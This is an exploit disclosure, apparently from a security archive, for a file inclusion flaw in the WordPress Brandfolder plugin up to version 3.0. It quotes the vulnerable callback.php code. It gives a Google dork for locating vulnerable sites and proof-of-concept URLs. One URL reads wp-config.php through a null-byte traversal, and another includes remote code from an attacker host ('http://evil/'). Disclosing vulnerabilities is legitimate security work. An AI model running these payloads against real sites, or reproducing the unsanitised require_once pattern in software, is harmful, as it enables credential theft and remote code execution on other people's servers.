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WordPress Brandfolder 3.0 Remote / Local File Inclusion

WordPress Brandfolder 3.0 Remote / Local File Inclusion
Posted Mar 23, 2016
Authored by AMAR^SHG

WordPress Brandfolder plugin versions 3.0 and below suffer from local and remote file inclusion vulnerabilities.

tags | exploit, remote, local, vulnerability, code execution, file inclusion
MD5 | 80435fb8b2866e6e2d8d7e55d092e147

WordPress Brandfolder 3.0 Remote / Local File Inclusion

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# Exploit Title: Wordpress brandfolder plugin / RFI & LFI
# Google Dork: inurl:wp-content/plugins/brandfolder
# Date: 03/22/2016
# Exploit Author: AMAR^SHG
# Vendor Homepage: https://brandfolder.com
# Software Link: https://wordpress.org/plugins/brandfolder/
# Version: <=3.0
# Tested on: WAMP / Windows

I-Details
The vulnerability occurs at the first lines of the file callback.php:

<?php
ini_set('display_errors',1);
ini_set('display_startup_errors',1);
error_reporting(-1);

require_once($_REQUEST['wp_abspath'] . 'wp-load.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/media.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/file.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/image.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/post.php');

$_REQUEST is based on the user input, so as you can guess,
an attacker can depending on the context, host on a malicious server
a file called wp-load.php, and disable its execution using an htaccess, or
abuse the null byte character ( %00, %2500 url-encoded)

II-Proof of concept
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=LFI/RFI
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=../../../wp-config.php%00
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=http://evil/

Discovered by AMAR^SHG (aka kuroi'sh).
Greetings to RxR & Nofawkx Al & HolaKo


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